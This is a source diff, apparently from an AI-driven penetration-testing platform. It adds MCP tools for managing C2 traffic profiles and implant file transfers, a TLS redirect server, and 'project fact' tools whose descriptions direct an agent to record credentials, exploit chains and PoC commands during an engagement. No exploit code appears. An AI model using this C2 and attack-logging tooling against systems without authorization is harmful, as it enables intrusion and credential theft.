"jitter_max_ms": map[string]interface{}{"type": "integer", "description": "最大抖动(毫秒)"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
id := getString(params, "profile_id")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
profiles, err := m.DB().ListC2Profiles()
|
||||
return makeC2Result(map[string]interface{}{"profiles": profiles, "count": len(profiles)}, err)
|
||||
|
||||
case "get":
|
||||
profile, err := m.DB().GetC2Profile(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if profile == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("profile not found"))
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||
|
||||
case "create":
|
||||
profile := &database.C2Profile{
|
||||
ID: "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||
Name: getString(params, "name"),
|
||||
UserAgent: getString(params, "user_agent"),
|
||||
BodyTemplate: getString(params, "body_template"),
|
||||
JitterMinMS: int(getFloat64(params, "jitter_min_ms")),
|
||||
JitterMaxMS: int(getFloat64(params, "jitter_max_ms")),
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if uris, ok := params["uris"]; ok {
|
||||
if arr, ok := uris.([]interface{}); ok {
|
||||
for _, u := range arr {
|
||||
if s, ok := u.(string); ok {
|
||||
profile.URIs = append(profile.URIs, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["request_headers"]; ok {
|
||||
if m, ok := rh.(map[string]interface{}); ok {
|
||||
profile.RequestHeaders = make(map[string]string)
|
||||
for k, v := range m {
|
||||
profile.RequestHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["response_headers"]; ok {
|
||||
if m, ok := rh.(map[string]interface{}); ok {
|
||||
profile.ResponseHeaders = make(map[string]string)
|
||||
for k, v := range m {
|
||||
profile.ResponseHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := m.DB().CreateC2Profile(profile); err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||
|
||||
case "update":
|
||||
profile, err := m.DB().GetC2Profile(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if profile == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("profile not found"))
|
||||
}
|
||||
if v := getString(params, "name"); v != "" {
|
||||
profile.Name = v
|
||||
}
|
||||
if v := getString(params, "user_agent"); v != "" {
|
||||
profile.UserAgent = v
|
||||
}
|
||||
if v := getString(params, "body_template"); v != "" {
|
||||
profile.BodyTemplate = v
|
||||
}
|
||||
if v := int(getFloat64(params, "jitter_min_ms")); v > 0 {
|
||||
profile.JitterMinMS = v
|
||||
}
|
||||
if v := int(getFloat64(params, "jitter_max_ms")); v > 0 {
|
||||
profile.JitterMaxMS = v
|
||||
}
|
||||
if uris, ok := params["uris"]; ok {
|
||||
if arr, ok := uris.([]interface{}); ok {
|
||||
profile.URIs = nil
|
||||
for _, u := range arr {
|
||||
if s, ok := u.(string); ok {
|
||||
profile.URIs = append(profile.URIs, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["request_headers"]; ok {
|
||||
if mp, ok := rh.(map[string]interface{}); ok {
|
||||
profile.RequestHeaders = make(map[string]string)
|
||||
for k, v := range mp {
|
||||
profile.RequestHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if rh, ok := params["response_headers"]; ok {
|
||||
if mp, ok := rh.(map[string]interface{}); ok {
|
||||
profile.ResponseHeaders = make(map[string]string)
|
||||
for k, v := range mp {
|
||||
profile.ResponseHeaders[k], _ = v.(string)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := m.DB().UpdateC2Profile(profile); err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||
|
||||
case "delete":
|
||||
err := m.DB().DeleteC2Profile(id)
|
||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_file — 文件管理工具(新增)
|
||||
// ============================================================================
|
||||
|
||||
func registerC2FileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2File,
|
||||
Description: `C2 文件管理。通过 action 参数选择操作:
|
||||
- list: 列出会话的文件传输记录(需 session_id)
|
||||
- get_result: 获取任务结果文件路径(截图等,需 task_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get_result", "enum": []string{"list", "get_result"}},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(list 需要)"},
|
||||
"task_id": map[string]interface{}{"type": "string", "description": "任务 ID(get_result 需要)"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
sessionID := getString(params, "session_id")
|
||||
if sessionID == "" {
|
||||
return makeC2Result(nil, fmt.Errorf("session_id required"))
|
||||
}
|
||||
files, err := m.DB().ListC2FilesBySession(sessionID)
|
||||
return makeC2Result(map[string]interface{}{"files": files, "count": len(files)}, err)
|
||||
|
||||
case "get_result":
|
||||
taskID := getString(params, "task_id")
|
||||
task, err := m.DB().GetC2Task(taskID)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if task == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||
}
|
||||
if task.ResultBlobPath == "" {
|
||||
return makeC2Result(map[string]interface{}{"has_file": false, "task_id": taskID}, nil)
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{
|
||||
"has_file": true,
|
||||
"task_id": taskID,
|
||||
"file_path": task.ResultBlobPath,
|
||||
}, nil)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 工具函数
|
||||
// ============================================================================
|
||||
|
||||
func getString(params map[string]interface{}, key string) string {
|
||||
if v, ok := params[key]; ok {
|
||||
if s, ok := v.(string); ok {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getFloat64(params map[string]interface{}, key string) float64 {
|
||||
if v, ok := params[key]; ok {
|
||||
switch n := v.(type) {
|
||||
case float64:
|
||||
return n
|
||||
case int:
|
||||
return float64(n)
|
||||
case string:
|
||||
if f, err := strconv.ParseFloat(n, 64); err == nil {
|
||||
return f
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
@@ -0,0 +1,196 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// peekedConn 在已预读首字节后仍将连接交给 net/http 或 crypto/tls。
|
||||
type peekedConn struct {
|
||||
net.Conn
|
||||
r *bufio.Reader
|
||||
}
|
||||
|
||||
func (c *peekedConn) Read(p []byte) (int, error) {
|
||||
return c.r.Read(p)
|
||||
}
|
||||
|
||||
// oneConnListener 供 http.Server.Serve 处理单条 TCP 连接(含 keep-alive)。
|
||||
type oneConnListener struct {
|
||||
conn net.Conn
|
||||
addr net.Addr
|
||||
once sync.Once
|
||||
}
|
||||
|
||||
func (l *oneConnListener) Accept() (net.Conn, error) {
|
||||
var c net.Conn
|
||||
l.once.Do(func() {
|
||||
c = l.conn
|
||||
l.conn = nil
|
||||
})
|
||||
if c == nil {
|
||||
return nil, net.ErrClosed
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func (l *oneConnListener) Close() error { return nil }
|
||||
func (l *oneConnListener) Addr() net.Addr { return l.addr }
|
||||
|
||||
func isTLSHandshakeRecord(b byte) bool {
|
||||
return b == 0x16
|
||||
}
|
||||
|
||||
func newHTTPToHTTPSRedirectHandler(httpsPort int) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.Host
|
||||
if h, _, err := net.SplitHostPort(host); err == nil {
|
||||
host = h
|
||||
}
|
||||
var target string
|
||||
if httpsPort == 443 {
|
||||
target = fmt.Sprintf("https://%s%s", host, r.URL.RequestURI())
|
||||
} else {
|
||||
target = fmt.Sprintf("https://%s:%d%s", host, httpsPort, r.URL.RequestURI())
|
||||
}
|
||||
http.Redirect(w, r, target, http.StatusPermanentRedirect)
|
||||
})
|
||||
}
|
||||
|
||||
func portFromListenAddr(addr string) int {
|
||||
_, portStr, err := net.SplitHostPort(addr)
|
||||
if err != nil {
|
||||
return 443
|
||||
}
|
||||
p, err := strconv.Atoi(portStr)
|
||||
if err != nil || p <= 0 {
|
||||
return 443
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func ensureMainTLSConfigCerts(mode mainTLSMode, tlsConf *tls.Config, certFile, keyFile string) (*tls.Config, error) {
|
||||
if mode != mainTLSFromFiles {
|
||||
return tlsConf, nil
|
||||
}
|
||||
if tlsConf == nil {
|
||||
tlsConf = &tls.Config{MinVersion: tls.VersionTLS12}
|
||||
}
|
||||
if len(tlsConf.Certificates) > 0 {
|
||||
return tlsConf, nil
|
||||
}
|
||||
cert, err := tls.LoadX509KeyPair(certFile, keyFile)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tlsConf.Certificates = []tls.Certificate{cert}
|
||||
return tlsConf, nil
|
||||
}
|
||||
|
||||
type mainServerMux struct {
|
||||
ln net.Listener
|
||||
httpsSrv *http.Server
|
||||
redirectSrv *http.Server
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
func newMainServerMux(ln net.Listener, httpsSrv *http.Server, httpsPort int, logger *zap.Logger) *mainServerMux {
|
||||
return &mainServerMux{
|
||||
ln: ln,
|
||||
httpsSrv: httpsSrv,
|
||||
redirectSrv: &http.Server{Handler: newHTTPToHTTPSRedirectHandler(httpsPort), ReadHeaderTimeout: 10 * time.Second},
|
||||
logger: logger,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *mainServerMux) Serve() error {
|
||||
for {
|
||||
conn, err := m.ln.Accept()
|
||||
if err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return http.ErrServerClosed
|
||||
}
|
||||
return err
|
||||
}
|
||||
go m.handleConn(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *mainServerMux) handleConn(raw net.Conn) {
|
||||
if err := raw.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||
_ = raw.Close()
|
||||
return
|
||||
}
|
||||
br := bufio.NewReader(raw)
|
||||
b, err := br.Peek(1)
|
||||
if err != nil {
|
||||
_ = raw.Close()
|
||||
return
|
||||
}
|
||||
_ = raw.SetReadDeadline(time.Time{})
|
||||
|
||||
pc := &peekedConn{Conn: raw, r: br}
|
||||
ocl := &oneConnListener{conn: pc, addr: raw.LocalAddr()}
|
||||
|
||||
if isTLSHandshakeRecord(b[0]) {
|
||||
m.serveHTTPS(pc, raw.LocalAddr())
|
||||
return
|
||||
}
|
||||
if err := m.redirectSrv.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
||||
m.logger.Debug("HTTP 重定向连接处理结束", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
// serveHTTPS 在已嗅探为 TLS 的连接上完成握手,再按 ALPN 走 HTTP/2 或 HTTP/1.1。
|
||||
// 不能对同一 http.Server 并发调用 Serve(TLSConfig!=nil),否则握手/ALPN 会异常(浏览器 ERR_SSL_PROTOCOL_ERROR)。
|
||||
func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
|
||||
tlsConn := tls.Server(pc, m.httpsSrv.TLSConfig)
|
||||
handCtx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
defer cancel()
|
||||
if err := tlsConn.HandshakeContext(handCtx); err != nil {
|
||||
m.logger.Debug("TLS 握手失败", zap.Error(err))
|
||||
_ = pc.Close()
|
||||
return
|
||||
}
|
||||
|
||||
srv := m.httpsSrv
|
||||
if srv.TLSNextProto != nil {
|
||||
proto := tlsConn.ConnectionState().NegotiatedProtocol
|
||||
if fn := srv.TLSNextProto[proto]; fn != nil {
|
||||
fn(srv, tlsConn, srv.Handler)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
plain := *srv
|
||||
plain.TLSConfig = nil
|
||||
ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
|
||||
if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
||||
m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
func (m *mainServerMux) Shutdown(ctx context.Context) error {
|
||||
_ = m.ln.Close()
|
||||
var err1, err2 error
|
||||
if m.httpsSrv != nil {
|
||||
err1 = m.httpsSrv.Shutdown(ctx)
|
||||
}
|
||||
if m.redirectSrv != nil {
|
||||
err2 = m.redirectSrv.Shutdown(ctx)
|
||||
}
|
||||
if err1 != nil {
|
||||
return err1
|
||||
}
|
||||
return err2
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"golang.org/x/net/http2"
|
||||
)
|
||||
|
||||
func TestNewHTTPToHTTPSRedirectHandler(t *testing.T) {
|
||||
t.Parallel()
|
||||
tests := []struct {
|
||||
name string
|
||||
httpsPort int
|
||||
host string
|
||||
uri string
|
||||
wantTarget string
|
||||
}{
|
||||
{
|
||||
name: "non standard port",
|
||||
httpsPort: 8080,
|
||||
host: "127.0.0.1:8080",
|
||||
uri: "/login?next=/",
|
||||
wantTarget: "https://127.0.0.1:8080/login?next=/",
|
||||
},
|
||||
{
|
||||
name: "standard port",
|
||||
httpsPort: 443,
|
||||
host: "example.com:80",
|
||||
uri: "/",
|
||||
wantTarget: "https://example.com/",
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
tt := tt
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
h := newHTTPToHTTPSRedirectHandler(tt.httpsPort)
|
||||
req := httptest.NewRequest(http.MethodGet, "http://"+tt.host+tt.uri, nil)
|
||||
req.Host = tt.host
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusPermanentRedirect {
|
||||
t.Fatalf("status = %d, want %d", rec.Code, http.StatusPermanentRedirect)
|
||||
}
|
||||
if got := rec.Header().Get("Location"); got != tt.wantTarget {
|
||||
t.Fatalf("Location = %q, want %q", got, tt.wantTarget)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsTLSHandshakeRecord(t *testing.T) {
|
||||
t.Parallel()
|
||||
if !isTLSHandshakeRecord(0x16) {
|
||||
t.Fatal("expected TLS handshake record")
|
||||
}
|
||||
if isTLSHandshakeRecord('G') {
|
||||
t.Fatal("GET should not be TLS")
|
||||
}
|
||||
}
|
||||
|
||||
func TestServerHTTPRedirectEnabled(t *testing.T) {
|
||||
t.Parallel()
|
||||
disabled := false
|
||||
enabled := true
|
||||
if config.ServerHTTPRedirectEnabled(nil) {
|
||||
t.Fatal("nil config should disable redirect")
|
||||
}
|
||||
if !config.ServerHTTPRedirectEnabled(&config.ServerConfig{TLSEnabled: true}) {
|
||||
t.Fatal("HTTPS without explicit flag should enable redirect")
|
||||
}
|
||||
if config.ServerHTTPRedirectEnabled(&config.ServerConfig{TLSEnabled: true, TLSHTTPRedirect: &disabled}) {
|
||||
t.Fatal("explicit false should disable redirect")
|
||||
}
|
||||
if !config.ServerHTTPRedirectEnabled(&config.ServerConfig{TLSEnabled: true, TLSHTTPRedirect: &enabled}) {
|
||||
t.Fatal("explicit true should enable redirect")
|
||||
}
|
||||
if config.ServerHTTPRedirectEnabled(&config.ServerConfig{}) {
|
||||
t.Fatal("plain HTTP should not redirect")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainServerMuxHTTPRedirectAndHTTPS(t *testing.T) {
|
||||
cert, err := generateMainServerSelfSignedCert()
|
||||
if err != nil {
|
||||
t.Fatalf("generate cert: %v", err)
|
||||
}
|
||||
handler := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, "ok")
|
||||
})
|
||||
srv := &http.Server{Handler: handler, TLSConfig: &tls.Config{
|
||||
MinVersion: tls.VersionTLS12,
|
||||
Certificates: []tls.Certificate{cert},
|
||||
}}
|
||||
if err := http2.ConfigureServer(srv, &http2.Server{}); err != nil {
|
||||
t.Fatalf("configure http2: %v", err)
|
||||
}
|
||||
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen: %v", err)
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
mux := newMainServerMux(ln, srv, portFromListenAddr(ln.Addr().String()), nil)
|
||||
go func() { _ = mux.Serve() }()
|
||||
|
||||
client := &http.Client{
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true, MinVersion: tls.VersionTLS12},
|
||||
},
|
||||
CheckRedirect: func(_ *http.Request, _ []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
addr := ln.Addr().String()
|
||||
|
||||
httpResp, err := client.Get("http://" + addr + "/")
|
||||
if err != nil {
|
||||
t.Fatalf("http get: %v", err)
|
||||
}
|
||||
_ = httpResp.Body.Close()
|
||||
if httpResp.StatusCode != http.StatusPermanentRedirect {
|
||||
t.Fatalf("http status = %d, want %d", httpResp.StatusCode, http.StatusPermanentRedirect)
|
||||
}
|
||||
if got := httpResp.Header.Get("Location"); got != "https://127.0.0.1:"+strconv.Itoa(portFromListenAddr(addr))+"/" {
|
||||
t.Fatalf("Location = %q", got)
|
||||
}
|
||||
|
||||
httpsResp, err := client.Get("https://" + addr + "/")
|
||||
if err != nil {
|
||||
t.Fatalf("https get: %v", err)
|
||||
}
|
||||
defer httpsResp.Body.Close()
|
||||
if httpsResp.StatusCode != http.StatusOK {
|
||||
t.Fatalf("https status = %d, want %d", httpsResp.StatusCode, http.StatusOK)
|
||||
}
|
||||
body, _ := io.ReadAll(httpsResp.Body)
|
||||
if string(body) != "ok" {
|
||||
t.Fatalf("body = %q, want ok", body)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
)
|
||||
|
||||
// mainTLSMode 主 Web 服务 TLS 启动方式。
|
||||
type mainTLSMode int
|
||||
|
||||
const (
|
||||
mainTLSOff mainTLSMode = iota
|
||||
mainTLSFromFiles
|
||||
mainTLSInMemorySelfSigned
|
||||
)
|
||||
|
||||
// prepareMainServerTLS 根据 server 配置决定主站是否启用 HTTPS(及 HTTP/2 协商)。
|
||||
// fromFiles:使用 tls_cert_path + tls_key_path,由 http.Server.ListenAndServeTLS 加载 PEM。
|
||||
// inMemory:tls_auto_self_sign 生成的自签证书,仅用于本地/测试。
|
||||
func prepareMainServerTLS(cfg *config.ServerConfig) (mode mainTLSMode, tlsConf *tls.Config, certFile, keyFile string, err error) {
|
||||
if cfg == nil || !config.MainWebUIUsesHTTPS(cfg) {
|
||||
return mainTLSOff, nil, "", "", nil
|
||||
}
|
||||
certFile = strings.TrimSpace(cfg.TLSCertPath)
|
||||
keyFile = strings.TrimSpace(cfg.TLSKeyPath)
|
||||
if certFile != "" && keyFile != "" {
|
||||
// 证书由 ListenAndServeTLS 从文件加载;此处仅提供最小 TLS 配置供 http2.ConfigureServer 合并 ALPN。
|
||||
return mainTLSFromFiles, &tls.Config{MinVersion: tls.VersionTLS12}, certFile, keyFile, nil
|
||||
}
|
||||
if cfg.TLSAutoSelfSign {
|
||||
cert, genErr := generateMainServerSelfSignedCert()
|
||||
if genErr != nil {
|
||||
return mainTLSOff, nil, "", "", fmt.Errorf("生成自签 TLS 证书: %w", genErr)
|
||||
}
|
||||
tlsConf = &tls.Config{
|
||||
MinVersion: tls.VersionTLS12,
|
||||
Certificates: []tls.Certificate{cert},
|
||||
}
|
||||
return mainTLSInMemorySelfSigned, tlsConf, "", "", nil
|
||||
}
|
||||
return mainTLSOff, nil, "", "", fmt.Errorf("server: 已启用 TLS(tls_enabled / tls_auto_self_sign / 证书路径),请设置 tls_cert_path 与 tls_key_path,或将 tls_auto_self_sign 设为 true(仅测试环境)")
|
||||
}
|
||||
|
||||
func generateMainServerSelfSignedCert() (tls.Certificate, error) {
|
||||
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
serial, err := rand.Int(rand.Reader, big.NewInt(1<<62))
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
tmpl := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{CommonName: "CyberStrikeAI"},
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(365 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
IPAddresses: []net.IP{net.ParseIP("127.0.0.1"), net.ParseIP("::1")},
|
||||
DNSNames: []string{"localhost"},
|
||||
}
|
||||
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
keyDER, err := x509.MarshalECPrivateKey(priv)
|
||||
if err != nil {
|
||||
return tls.Certificate{}, err
|
||||
}
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der})
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||
return tls.X509KeyPair(certPEM, keyPEM)
|
||||
}
|
||||
@@ -0,0 +1,336 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
"cyberstrike-ai/internal/project"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func projectIDFromConversation(db *database.DB, ctx context.Context) (string, error) {
|
||||
convID := agent.ConversationIDFromContext(ctx)
|
||||
if convID == "" {
|
||||
return "", fmt.Errorf("无法确定当前对话,请在对话上下文中使用项目事实工具")
|
||||
}
|
||||
pid, err := db.GetConversationProjectID(convID)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if strings.TrimSpace(pid) == "" {
|
||||
return "", fmt.Errorf("当前对话未绑定项目,请先在对话中选择项目或创建带项目的对话")
|
||||
}
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func textResult(msg string, isErr bool) *mcp.ToolResult {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{Type: "text", Text: msg}},
|
||||
IsError: isErr,
|
||||
}
|
||||
}
|
||||
|
||||
// registerProjectFactTools 注册项目黑板 MCP 工具。
|
||||
func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *config.Config, logger *zap.Logger) {
|
||||
if db == nil || cfg == nil || !cfg.Project.Enabled {
|
||||
if logger != nil {
|
||||
logger.Info("项目黑板工具未注册(未启用)")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
upsertTool := mcp.Tool{
|
||||
Name: builtin.ToolUpsertProjectFact,
|
||||
Description: "写入或更新项目黑板事实,用于跨会话沉淀可复现上下文(非正式漏洞条目;可交付漏洞另用 record_vulnerability)。" +
|
||||
"边渗透边记录:每确认新认知(端口/入口/凭据/可利用点)后立即调用,同 fact_key 覆盖更新,勿等会话结束。" +
|
||||
"禁止仅写结论:summary 须含什么+在哪+如何验证;body 须含攻击链/请求响应/命令等复现细节。" +
|
||||
"发现类建议 fact_key 为 finding|chain|exploit|poc/<slug>,category 对应 finding|chain|exploit|poc,body 按攻击链模板填写。" +
|
||||
"环境类用 target|auth|infra|business/<slug>。同 fact_key 覆盖更新。需当前对话已绑定项目。",
|
||||
ShortDescription: "写入/更新项目事实(含攻击链 body)",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"fact_key": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "项目内唯一 key:target/primary_domain、finding/sqli-login、exploit/upload-rce 等",
|
||||
},
|
||||
"category": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "target | auth | infra | business | finding | chain | exploit | poc | note",
|
||||
"enum": []string{"target", "auth", "infra", "business", "finding", "chain", "exploit", "poc", "note"},
|
||||
},
|
||||
"summary": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "索引用一行:结论 + 位置 + 触发/验证要点(勿仅写「存在 XSS」等空话)",
|
||||
},
|
||||
"body": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "完整可复现详情(仅 get_project_fact 返回):须含攻击链步骤、原始 HTTP/命令、响应现象、证据与关联。" +
|
||||
"发现/利用类首次写入必填;环境类建议含来源证据。攻击链类可参考模板章节:结论、目标与入口、攻击链、Exploit/POC、关键证据、关联、备注。" +
|
||||
"更新已有 fact_key 时若省略或留空 body,将保留库中已有 body(可只改 summary)。",
|
||||
},
|
||||
"confidence": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "confirmed | tentative | deprecated",
|
||||
"enum": []string{"confirmed", "tentative", "deprecated"},
|
||||
},
|
||||
"pinned": map[string]interface{}{
|
||||
"type": "boolean",
|
||||
"description": "是否优先出现在黑板索引",
|
||||
},
|
||||
"related_vulnerability_id": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "可选:关联的漏洞记录 ID",
|
||||
},
|
||||
},
|
||||
"required": []string{"fact_key", "summary"},
|
||||
},
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(upsertTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
projectID, err := projectIDFromConversation(db, ctx)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
factKey, _ := args["fact_key"].(string)
|
||||
summary, _ := args["summary"].(string)
|
||||
if strings.TrimSpace(factKey) == "" || strings.TrimSpace(summary) == "" {
|
||||
return textResult("错误: fact_key 与 summary 必填", true), nil
|
||||
}
|
||||
if len([]rune(summary)) > cfg.Project.FactSummaryMaxRunesEffective() {
|
||||
return textResult(fmt.Sprintf("错误: summary 过长(最多 %d 字)", cfg.Project.FactSummaryMaxRunesEffective()), true), nil
|
||||
}
|
||||
f := &database.ProjectFact{
|
||||
ProjectID: projectID,
|
||||
FactKey: factKey,
|
||||
Category: strArg(args, "category"),
|
||||
Summary: summary,
|
||||
Body: strArg(args, "body"),
|
||||
Confidence: strArg(args, "confidence"),
|
||||
Pinned: boolArg(args, "pinned"),
|
||||
RelatedVulnerabilityID: strArg(args, "related_vulnerability_id"),
|
||||
}
|
||||
if convID := agent.ConversationIDFromContext(ctx); convID != "" {
|
||||
f.SourceConversationID = convID
|
||||
}
|
||||
created, err := db.UpsertProjectFact(f)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
msg := fmt.Sprintf("事实已保存。\nfact_key: %s\nid: %s\nconfidence: %s", created.FactKey, created.ID, created.Confidence)
|
||||
if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
|
||||
msg += warn
|
||||
}
|
||||
return textResult(msg, false), nil
|
||||
})
|
||||
|
||||
getTool := mcp.Tool{
|
||||
Name: builtin.ToolGetProjectFact,
|
||||
Description: "按 fact_key 获取项目事实完整 body 与元数据。摘要不足时必须调用本工具,禁止臆造细节。",
|
||||
ShortDescription: "按 key 获取事实详情",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"fact_key": map[string]interface{}{"type": "string", "description": "事实 key"},
|
||||
},
|
||||
"required": []string{"fact_key"},
|
